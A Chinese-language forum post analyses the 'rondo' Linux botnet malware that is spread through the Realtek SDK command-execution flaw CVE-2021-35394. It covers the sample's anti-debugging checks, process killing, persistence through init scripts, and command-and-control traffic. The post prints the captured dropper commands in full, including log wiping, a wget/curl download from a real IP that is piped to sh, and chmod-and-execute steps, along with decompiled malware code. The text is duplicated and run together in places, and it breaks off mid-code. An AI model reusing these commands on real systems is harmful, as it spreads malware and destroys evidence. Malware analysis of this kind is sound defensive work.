-
-
[原创]rondo木马文件逆向分析
-
发表于: 2025-9-22 19:53 2739
-
捕获到针Realtek SDK 的 命令执行(CVE-2021-35394)漏洞利用尝试
攻击者传递payload为。
payload中恶意脚本(*rondo.kpa.sh*)分析
删除主机日志数据
下载多种执行木马文件(针对不同架构机器执行下载对应文件)
分析目标为rando.x86_64
IDA解析函数共244个
文件执行命令为 ./rondo "realtek.x86_64"
程序执行入口
entry_func检查stdin,stdout,stderr基础文件功能检查运行参数,向实际的主函数传递参数,
程序开始时向一段缓冲区中写入攻击者邮箱信息。
程序中存在大量的加密字符,以下是对应的解密函数
使用解密脚本
以 ! 作为参数进行解密。
程序检查系统调试文件,发现存在调试即终止程序运行。
通过sys_time sys_get_pid等多种方式获取随机数,并获取/proc文件夹句柄。
以下是proc文件结构
采用三层嵌套实现遍历proc下全部进程id,并杀死除系统和自身进程以外的全部进程。
第一层,遍历进程,筛选非系统进程,完成后杀死全部记录进程并跳出全部循环
第二层,获取对应进程运行程序名称
第三层 ,
获取命令执行路径
通过随机数获取新的文件名称
用新获取的名称替换原本文件名称,将文件移动至**/lib/systemd**下,修改当前线程名称为新获取的名称,覆盖原本的argv参数,创建子进程,其中父进程进行
子进程实现持久化运行
创建文件夹 /etc /etc/rondo /etc/init/d
尝试打开当前进程管理文件 /proc/self/exe, 若存在,创建文件 /etc/rondo/rondo,创建失败直接退出
读取进程管理文件结构化内容
复制木马文件到 /etc/rondo/rondo下
组织初始化脚本,用于重启时启动木马文件
在 /etc/init/d/rondo /etc/rc3.d/S99rondo位置放置启动脚本设置权限511
(Chmod 511 (chmod a+rwx,u-w,g-rw,o-rw) 设置权限,以便 (U)ser/所有者可以读取、不能写入和执行。(G)roup 不能读,不能写,可以执行。(其他)不能读,不能写,可以执行。)
向**/etc/RCs /etc/init.d/rcd /etc/rc.local ** 等自启动文件末尾 写入
/etc/rondo/rondo realtek.x86_64.persisted & 实现开机自启等操作
在/etc/contact.txt 文件下写入攻击者邮箱 bang2012@protomail.com
破坏系统命令如ufw passwd ,替换命令为其他字符
以 rondo 作为参数解码通信ip,解密出IP地址为83.150.218.93
与ip进行通信,实现远程命令执行保活等功能。
创建socket链接,
测试网络连接
发送数据信息
发送数据,分析通信流量信息
发送通信序列号
序列号格式rondo id
接收命令
orf;killall -9 mipsel mpsl mips boatnet.mpsl;busybox wget -qO- http://**。**。**。**。**/rondo.kqa.sh|sh;echoorf;killall -9 mipsel mpsl mips boatnet.mpsl;busybox wget -qO- http://**。**。**。**。**/rondo.kqa.sh|sh;echo\# bang2012@protonmail.comrm -rf /var/log/* /var/cache/* ~/.cachecd /devecho >/dev/shm/.t && cd /dev/shm; rm -f /dev/shm/.techo >$HOME/.t && cd $HOME; rm -f $HOME/.techo >/tmp/.t && cd /tmp; rm -f /tmp/.techo >/data/local/tmp/.t && cd /data/local/tmp; rm -f /data/local/tmp/.techo >/run/.t && cd /run; rm -f /run/.techo >/run/user/0/.t && cd /run/user/0; rm -f /run/user/0/.techo >/var/log/.t && cd /var/log; rm -f /var/log/.techo >/var/lock/.t && cd /var/lock; rm -f /var/lock/.techo >/var/run/.t && cd /var/run; rm -f /var/run/.techo >/var/tmp/.t && cd /var/tmp; rm -f /var/tmp/.techo >/mnt/.t && cd /mnt; rm -f /mnt/.techo >/media/.t && cd /media; rm -f /media/.techo >/usr/bin/.t && cd /usr/bin; rm -f /usr/bin/.techo >/bin/.t && cd /bin; rm -f /bin/.t\# bang2012@protonmail.comrm -rf /var/log/* /var/cache/* ~/.cachecd /devecho >/dev/shm/.t && cd /dev/shm; rm -f /dev/shm/.techo >$HOME/.t && cd $HOME; rm -f $HOME/.techo >/tmp/.t && cd /tmp; rm -f /tmp/.techo >/data/local/tmp/.t && cd /data/local/tmp; rm -f /data/local/tmp/.techo >/run/.t && cd /run; rm -f /run/.techo >/run/user/0/.t && cd /run/user/0; rm -f /run/user/0/.techo >/var/log/.t && cd /var/log; rm -f /var/log/.techo >/var/lock/.t && cd /var/lock; rm -f /var/lock/.techo >/var/run/.t && cd /var/run; rm -f /var/run/.techo >/var/tmp/.t && cd /var/tmp; rm -f /var/tmp/.techo >/mnt/.t && cd /mnt; rm -f /mnt/.techo >/media/.t && cd /media; rm -f /media/.techo >/usr/bin/.t && cd /usr/bin; rm -f /usr/bin/.techo >/bin/.t && cd /bin; rm -f /bin/.tmkdir lib(chmod 755 lib||busybox chmod 755 lib)&&cd librm -rf rondorm -rf rondo.*(wget http://**.**.**.**/rondo.mipsel||curl -O http://83.252.42.112/rondo.mipsel||busybox wget http://83.252.42.112/rondo.mipsel)(cat rondo.mipsel > rondo||busybox cat rondo.mipsel > rondo||mv rondo.mipsel > rondo)rm -rf rondo.mipsel(chmod 777 rondo||busybox chmod 777 rondo)||(chmod +x rondo||busybox chmod +x rondo)killall -9 rondo;pkill -9 rondosudo killall -9 rondo;sudo pkill -9 rondosudo ./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0mkdir lib(chmod 755 lib||busybox chmod 755 lib)&&cd librm -rf rondorm -rf rondo.*(wget http://**.**.**.**/rondo.mipsel||curl -O http://83.252.42.112/rondo.mipsel||busybox wget http://83.252.42.112/rondo.mipsel)(cat rondo.mipsel > rondo||busybox cat rondo.mipsel > rondo||mv rondo.mipsel > rondo)rm -rf rondo.mipsel(chmod 777 rondo||busybox chmod 777 rondo)||(chmod +x rondo||busybox chmod +x rondo)killall -9 rondo;pkill -9 rondosudo killall -9 rondo;sudo pkill -9 rondosudo ./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0./rondo "realtek.mipsel"; [ $? -eq 137 ] && exit 0entry_func( (__int64 (__fastcall *)(_QWORD, void **, __int64))main, env_count, &envp, (void (*)(void))init_proc, (__int64)term_proc, a3, (__int64)&v5);entry_func( (__int64 (__fastcall *)(_QWORD, void **, __int64))main, env_count, &envp, (void (*)(void))init_proc, (__int64)term_proc, a3, (__int64)&v5);write_log("bang2012@protonmail.com");write_log("bang2012@protonmail.com");__int64 __fastcall str_decropty(__int64 a1, __int64 a2){ unsigned __int64 v3; // rbp __int64 result; // rax __int64 v5; // rsi unsigned __int64 v6; // rcx v3 = strlen(a2); result = strlen(a1); v5 = result; if ( result ) { v6 = 0LL; do { result = *(unsigned __int8 *)(a2 + v6 % v3); *(_BYTE *)(v6 + a1) ^= result; ++v6; } while ( v5 != v6 ); } return result;}__int64 __fastcall str_decropty(__int64 a1, __int64 a2){ unsigned __int64 v3; // rbp __int64 result; // rax __int64 v5; // rsi unsigned __int64 v6; // rcx v3 = strlen(a2); result = strlen(a1); v5 = result; if ( result ) { v6 = 0LL; do { result = *(unsigned __int8 *)(a2 + v6 % v3); *(_BYTE *)(v6 + a1) ^= result; ++v6; } while ( v5 != v6 ); } return result;}def str_decropty(a1, a2): v3 = len(a2) result = len(a1) v5 = result if result: v6 = 0 a1_list = list(a1) while v6 != v5: result = ord(a2[v6 % v3]) a1_list[v6] = chr(ord(a1_list[v6]) ^ result) v6 += 1 a1 = ''.join(a1_list) return a1def str_decropty(a1, a2): v3 = len(a2) result = len(a1) v5 = result if result: v6 = 0 a1_list = list(a1) while v6 != v5: result = ord(a2[v6 % v3]) a1_list[v6] = chr(ord(a1_list[v6]) ^ result) v6 += 1 a1 = ''.join(a1_list) return a1str_decropty((__int64)&dev_null, (__int64)decropty_str);sub_4007A0();str_decropty((__int64)&proc_self_status, (__int64)decropty_str);str_decropty((__int64)TracerPid, (__int64)decropty_str);sub_4008C0();str_decropty((__int64)&sys_module_kgdboc_parameters_, (__int64)decropty_str);str_decropty((__int64)&proc_cmdline, (__int64)decropty_str);str_decropty((__int64)&etc_default_grub, (__int64)decropty_str);str_decropty((__int64)&proc_modules, (__int64)decropty_str);str_decropty((__int64)&kgdboc, (__int64)decropty_str);str_decropty((__int64)&kgdboc_0, (__int64)decropty_str);str_decropty((__int64)&tty, (__int64)decropty_str);str_decropty((__int64)&dev_null, (__int64)decropty_str);sub_4007A0();str_decropty((__int64)&proc_self_status, (__int64)decropty_str);str_decropty((__int64)TracerPid, (__int64)decropty_str);sub_4008C0();str_decropty((__int64)&sys_module_kgdboc_parameters_, (__int64)decropty_str);str_decropty((__int64)&proc_cmdline, (__int64)decropty_str);str_decropty((__int64)&etc_default_grub, (__int64)decropty_str);str_decropty((__int64)&proc_modules, (__int64)decropty_str);str_decropty((__int64)&kgdboc, (__int64)decropty_str);str_decropty((__int64)&kgdboc_0, (__int64)decropty_str);str_decropty((__int64)&tty, (__int64)decropty_str);if ( (unsigned int)find_str_in_file_1((__int64)&sys_module_kgdboc_parameters_, (__int64)&tty) || (unsigned int)find_str_in_file((__int64)&proc_cmdline, (__int64)&kgdboc) || (unsigned int)find_str_in_file((__int64)&etc_default_grub, (__int64)&kgdboc) || (unsigned int)find_str_in_file((__int64)&proc_modules, (__int64)&kgdboc_0) ){ kill(-1, 9); quitsxw(0);}if ( (unsigned int)find_str_in_file_1((__int64)&sys_module_kgdboc_parameters_, (__int64)&tty) || (unsigned int)find_str_in_file((__int64)&proc_cmdline, (__int64)&kgdboc) || (unsigned int)find_str_in_file((__int64)&etc_default_grub, (__int64)&kgdboc) || (unsigned int)find_str_in_file((__int64)&proc_modules, (__int64)&kgdboc_0) ){ kill(-1, 9); quitsxw(0);}sys_time = get_sys_time(0LL);getrand_by_time(sys_time);time_now = get_sys_time(0LL);pid_a = sys_get_pid_a();pid1_pid2 = sys_get_pid_b() ^ pid_a;rand2 = sub_40C534();nomeandata = pid1_pid2 ^ rand2;current_pid = sys_get_pid_a();rand_num = get_rand_func();v15 = (unsigned int)(rand_num % 3 + 7);rand_x = rand_num % 3 + 7;rand_y = (int)v15;rand_y_n = (int)v15 + 130LL;v16 = alloca((int)v15 + 145LL);file_dir_rand = &stack_str;v94 = (unsigned int *)open_dir((int)&proc, v15, rand_num % 3 + 137, rand_num >> 31, v17, v18);sys_time = get_sys_time(0LL);getrand_by_time(sys_time);time_now = get_sys_time(0LL);pid_a = sys_get_pid_a();pid1_pid2 = sys_get_pid_b() ^ pid_a;rand2 = sub_40C534();nomeandata = pid1_pid2 ^ rand2;current_pid = sys_get_pid_a();rand_num = get_rand_func();v15 = (unsigned int)(rand_num % 3 + 7);rand_x = rand_num % 3 + 7;rand_y = (int)v15;rand_y_n = (int)v15 + 130LL;v16 = alloca((int)v15 + 145LL);file_dir_rand = &stack_str;v94 = (unsigned int *)open_dir((int)&proc, v15, rand_num % 3 + 137, rand_num >> 31, v17, v18);| 文件/目录 | 描述 |
|---|---|
/proc/<PID>/exe |
进程的可执行文件符号链接 |
/proc/<PID>/cwd |
进程的当前工作目录 |
/proc/<PID>/fd/ |
进程打开的文件描述符 |
/proc/<PID>/stat |
进程状态信息(运行时间、内存等) |
while ( 1 ) { tmp_pid = iter_dir(v94); //遍历文件 if ( !tmp_pid ) //全部遍历完成后开始清除存储在buffer_pid中的进程 { free_hd(v94); v33 = v97 - 1; if ( v97 - 1 >= 0 ) { do { v34 = buffer_pid[v33]; if ( v34 > 0 ) kill(v34, 9); --v33; } while ( v33 != -1 ); } goto LABEL_44; } if ( *(_BYTE *)(tmp_pid + 18) == 4 ) { v20 = tmp_pid + 0x13; v21 = str_to_int(tmp_pid + 0x13); proc_pid = v21; if ( v21 > 299 && current_pid != v21 ) //进程pid超过299(非系统进程) 不是当前进程 进入下一循环 break; } }while ( 1 ) { tmp_pid = iter_dir(v94); //遍历文件 if ( !tmp_pid ) //全部遍历完成后开始清除存储在buffer_pid中的进程 { free_hd(v94); v33 = v97 - 1; if ( v97 - 1 >= 0 ) { do { v34 = buffer_pid[v33]; if ( v34 > 0 ) kill(v34, 9); --v33; } while ( v33 != -1 ); } goto LABEL_44; } if ( *(_BYTE *)(tmp_pid + 18) == 4 ) { v20 = tmp_pid + 0x13; v21 = str_to_int(tmp_pid + 0x13); proc_pid = v21; if ( v21 > 299 && current_pid != v21 ) //进程pid超过299(非系统进程) 不是当前进程 进入下一循环 break; } }snprintf((__int64)proc_id, 4096LL, (__int64)&proc__s, v20);read_link_len = read_link_addr(proc_id, real_addr, 4095);if ( read_link_len != -1 ) break;if ( *(_DWORD *)globle_arg() == 2 ) goto LABEL_38;snprintf((__int64)proc_id, 4096LL, (__int64)&proc__s, v20);read_link_len = read_link_addr(proc_id, real_addr, 4095);if ( read_link_len != -1 ) break;if ( *(_DWORD *)globle_arg() == 2 ) goto LABEL_38; if ( read_link_len > 0 )//获取实际路径存在 { real_addr[read_link_len] = 0; path_buffer = "."; //规范获取的路径信息 if ( real_addr[0] ) { // check address legal // v74 = real_addr; do { v75 = *(_DWORD *)v74; v74 += 4; v76 = ~v75 & (v75 - 16843009) & 0x80808080; } while ( !v76 ); v77 = 1023LL; if ( (~v75 & (v75 - 16843009) & 0x8080) == 0 ) { LOBYTE(v76) = (~v75 & (v75 - 16843009) & 0x80808080) >> 16; v74 += 2; } v78 = &v74[-__CFADD__((_BYTE)v76, (_BYTE)v76) - 3] - v83; if ( v78 <= 0x3FF ) v77 = v78; amemcpy((__int64)exe_path_buffer, real_addr, v77); exe_path_buffer[v77] = 0; if ( v77 > 1 ) { for ( i = v77 - 1; exe_path_buffer[i] == 47; --i ) { exe_path_buffer[i] = 0; if ( i == 1 ) break; } } last_str = find_last_str(exe_path_buffer, '/'); path_buffer = exe_path_buffer; v81 = last_str + 1; if ( !last_str ) v81 = path_buffer; path_buffer = v81; } //若文件名称不是 (deleted)!,记录pid到buffer_pid中。 v99 = (unsigned __int64)strlen(path_buffer); len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83); v24 = strlen(_deledted_); v25 = v24; if ( len_real_addr >= v24 && !(unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v24), _deledted_) ) { if ( v97 <= 4095 ) { v73 = v97++; buffer_pid[v73] = proc_pid; } real_addr[len_real_addr - v25] = 0; len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83); } //若文件名称不是 (softirq)!,记录pid到buffer_pid中。 v26 = strlen(softirq); if ( len_real_addr < v26 || (unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v26), softirq) ) { //进行了对文件架构的查询(文件按末尾是否存在 arm等架构字符) struct_index = 0LL; v85 = &path_buffer[v99]; do { v28 = (_BYTE *)structs_list_tmp[struct_index]; v29 = strlen(v28); if ( v29 && (!(unsigned int)strcmp(path_buffer, v28) || v99 > (unsigned __int64)v29 && path_buffer[v99 - (_QWORD)v29 - 1] == 46 && !(unsigned int)strcmp((char *)(v85 - v29), v28)) ) { break; } ++struct_index; } //对/tmp/ /var/ /data/local等文件夹下进程不做记录处理 while ( struct_index != 29 ); if ( (!(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D9, 5uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170E0, 5uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170F1, 5uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170F7, 5uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170FD, 5uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_517103, 5uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_517109, 5uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D2, 6uLL) || !(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_51710F, 7uLL)) && v97 <= 4095 ) { v30 = v97++; buffer_pid[v30] = proc_pid; } v31 = find_last_str(real_addr, '/'); if ( v31 ) { if ( v31[1] == 46 ) {LABEL_38: if ( v97 <= 4095 ) { v32 = v97++; buffer_pid[v32] = proc_pid; } } } } } } if ( read_link_len > 0 )//获取实际路径存在 { real_addr[read_link_len] = 0; path_buffer = "."; //规范获取的路径信息 if ( real_addr[0] ) { // check address legal // v74 = real_addr; do { v75 = *(_DWORD *)v74; v74 += 4; v76 = ~v75 & (v75 - 16843009) & 0x80808080; } while ( !v76 ); v77 = 1023LL; if ( (~v75 & (v75 - 16843009) & 0x8080) == 0 ) { LOBYTE(v76) = (~v75 & (v75 - 16843009) & 0x80808080) >> 16; v74 += 2; } v78 = &v74[-__CFADD__((_BYTE)v76, (_BYTE)v76) - 3] - v83; if ( v78 <= 0x3FF ) v77 = v78; amemcpy((__int64)exe_path_buffer, real_addr, v77); exe_path_buffer[v77] = 0; if ( v77 > 1 ) { for ( i = v77 - 1; exe_path_buffer[i] == 47; --i ) { exe_path_buffer[i] = 0; if ( i == 1 ) break; } } last_str = find_last_str(exe_path_buffer, '/'); path_buffer = exe_path_buffer; v81 = last_str + 1; if ( !last_str ) v81 = path_buffer; path_buffer = v81; } //若文件名称不是 (deleted)!,记录pid到buffer_pid中。 v99 = (unsigned __int64)strlen(path_buffer); len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83); v24 = strlen(_deledted_); v25 = v24; if ( len_real_addr >= v24 && !(unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v24), _deledted_) ) { if ( v97 <= 4095 ) { v73 = v97++; buffer_pid[v73] = proc_pid; } real_addr[len_real_addr - v25] = 0; len_real_addr = (char *)(&real_addr[strlen(real_addr)] - v83); } //若文件名称不是 (softirq)!,记录pid到buffer_pid中。 v26 = strlen(softirq); if ( len_real_addr < v26 || (unsigned int)strcmp((char *)(&real_addr[(_QWORD)len_real_addr] - v26), softirq) ) { //进行了对文件架构的查询(文件按末尾是否存在 arm等架构字符) struct_index = 0LL; v85 = &path_buffer[v99]; do { v28 = (_BYTE *)structs_list_tmp[struct_index]; v29 = strlen(v28); if ( v29 && (!(unsigned int)strcmp(path_buffer, v28) || v99 > (unsigned __int64)v29 && path_buffer[v99 - (_QWORD)v29 - 1] == 46 && !(unsigned int)strcmp((char *)(v85 - v29), v28)) ) { break; } ++struct_index; } //对/tmp/ /var/ /data/local等文件夹下进程不做记录处理 while ( struct_index != 29 ); if ( (!(unsigned int)memcmp((unsigned __int8 *)real_addr, byte_5170D9, 5uLL)